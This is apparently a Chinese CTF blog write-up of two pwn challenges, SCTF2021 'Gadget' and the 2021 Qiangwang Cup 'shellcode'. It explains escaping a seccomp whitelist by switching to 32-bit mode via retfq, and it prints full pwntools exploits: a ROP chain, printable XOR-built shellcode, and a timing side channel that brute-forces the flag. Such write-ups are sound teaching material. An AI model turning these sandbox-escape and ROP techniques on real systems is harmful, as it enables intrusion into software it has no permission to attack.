SCTF2021 Gadget (WriteUp)
前言
这是刚结束不久的SCTF
里的一题,这次SCTF
我没去打,但是赛后看了看题目,发现真的基本都没接触过,只有这题能写写,我还是太菜了。
本篇博客题目附件的下载地址
题目分析
开了沙盒,沙盒如下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
白名单里只有三个系统调用可以使用,既然禁用了execve
,自然想到要orw
,但是只有read
,open
和write
都被禁用了。
不过,我们发现这个沙盒没有arch
限制必须是64
位,又注意到了fstat
这个并不常见的系统调用,由此为突破口,发现其系统调用号为5
,恰巧32
位下open
的系统调用号为5
,而此沙盒又是以判断系统调用号来禁用系统调用的,结合以上,不难想到通过retfq
切换64
位到32
位,然后调用open
,再用retf
切换回64
位,调用read
,至于禁用了write
,可以采用侧信道攻击的方式爆破flag
(就是类似于web
中的sql
时间盲注,比如缓冲区中的字符和爆破猜测的相等,就卡个死循环,然后通过接收数据判断是否超时来确定有没有爆破正确,当然用二分法更加快)。
至于漏洞点,非常明显,就是一个栈溢出,但是由于无法泄露libc
,只能在elf
文件中寻找合适的gadget
构造rop
链了,也并不困难。
此外,补充说明一下retfq
的切换原理,其实程序判别是64
位还是32
位,主要靠cs
寄存器,而retfq
就相当于pop ip; pop cs
,其中cs
为0x23
代表32
位,为0x33
代表64
位,并且retfq
是按64
位pop
的(8
字节),retf
则是按32
位pop
的(4
字节)。
还有需要注意的是,在64
位切换到32
位时,地址解析的规则也会变为32
位的,因此栈帧会发生改变,如原先的rsp = 0x7fff23333333
会被解析成esp = 0x23333333
,所以直接把rop
或shellcode
布置在64
位的地址上就会在push
与pop
等操作时出问题,故需要先将rop
或shellcode
写入bss
段等短地址区域上,在切换跳转后,也要注意平衡栈帧。
exp
from pwn import *
context(os = "linux", arch = "amd64")
#context(log_level = 'debug')
elf = ELF("./pwn")
possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"
bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x401001
pop_rbx_r14_r15_rbp_ret = 0x403072
pop_rcx_ret = 0x40117b
pop_rdi_rbp_ret = 0x401734
pop_rdi_jmp_rax = 0x402be4
pop_rsi_r15_rbp_ret = 0x401732
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04 # call -> push + jmp
pop_r12_r14_r15_rbp_ret = 0x40172f
pop_rsp_ret = 0x409d1c # mov edi,...
pop_rbp_ret = 0x401102
syscall_pop_rbp_ret = 0x401165
int_0x80_ret = 0x4011f3
retf_addr = 0x4011ed
cmp_addr = 0x408266 # cmp byte ptr [rax - 0x46], cl ; push rbp ; ret 0x5069
jnz_addr = 0x405831 # jnz 0x405837
loop = 0x405837 # jmp 0x405837
def pwn(index, char):
payload = b'\x00'*0x38
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
io.send(payload.ljust(0xC0, b'\x00'))
sleep(0.1)
payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5)
payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(retf_addr) + p32(int_0x80_ret) + p32(0x23)
payload += p32(retf_addr) + p32(pop_rax_ret) + p32(0x33) + p64(0)
payload += p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2 + p64(syscall_pop_rbp_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
payload += p64(pop_rcx_ret) + p64(char)
payload += p64(pop_rbp_ret) + p64(jnz_addr)
payload += p64(cmp_addr)
io.send(payload)
if __name__ == '__main__':
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
for i in possible_list :
io = process('./pwn')
pwn(pos, ord(i))
try:
io.recv(timeout = 1)
io.close()
except:
flag += i
print(flag)
io.close()
break
if i == '}' :
break
pos = pos + 1
success(flag)
# sctf{woww0w_y0u_1s_g4dget_m45ter}
2021强网杯 shellcode
这是一道与之极为相似的题目,只不过改为直接打shellcode
了,思路完全一致,就不再作详细分析了,直接附上exp
吧,这里我写了个二分法,速度还算可观。
就提一点,本题限制了shellcode
只能为可见字符,因此syscall
,int 80h
,retfq
等命令都不能直接写进去,因为它们编译后的shellcode
都不全是可见字符,但是我们可以通过xor
,add
,sub
等运算的指令,构造出它们的机器码,如:push rdx
和pop rdx
的机器码分别为\x52
和\x5a
,让它们分别xor
上0x5d
和0x5f
就得到了\x0f
和\x05
,合起来就是syscall
的机器码了,至于为何选用0x5d
和0x5f
,是因为push 0x5d
和push 0x5f
的shellcode
也都是可见字符。
from pwn import *
#context(log_level = 'debug')
possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
def pwn(pos, char):
shellcode_open_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
push 0x33
push 0x4040405E
retf
'''
shellcode_read_flag = '''
/*read(fp,buf,0x70)*/
mov rdi,3
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_read_flag += F'''
cmp byte ptr[rsi+{pos}], {char}
ja loop
ret
loop:
jmp loop
'''
shellcode_open_x86 = asm(shellcode_open_x86, arch = 'i386', os = 'linux')
shellcode_read_flag = asm(shellcode_read_flag, arch = 'amd64', os = 'linux')
syscall_retfq = '''
push rdx
pop rdx
'''
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x55],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x56],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x3a],cl
push 0x68
pop rcx
xor byte ptr[rax+0x3a],cl
push 0x47
pop rcx
sub byte ptr[rax+0x3b],cl
push 0x48
pop rcx
sub byte ptr[rax+0x3b],cl
push 0x23
push 0x40404040
'''
shellcode = shellcode_mmap
shellcode += syscall_retfq
shellcode += shellcode_read
shellcode += syscall_retfq
shellcode += shellcode_retfq
shellcode += syscall_retfq
shellcode = asm(shellcode, arch = 'amd64', os = 'linux')
io.sendline(shellcode)
sleep(0.1)
io.sendline(shellcode_open_x86 + shellcode_read_flag)
if __name__ == '__main__':
start = time.time()
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
while left < right :
mid = (left + right) >> 1
io = process('./pwn')
pwn(pos, ord(possible_list[mid]))
try:
io.recv(timeout = 1)
left = mid + 1
except:
right = mid
io.close()
flag += possible_list[left]
print(flag)
if possible_list[left] == '}' :
break
pos = pos + 1
success(flag)
end = time.time()
success("time:\t" + str(end - start) + "s")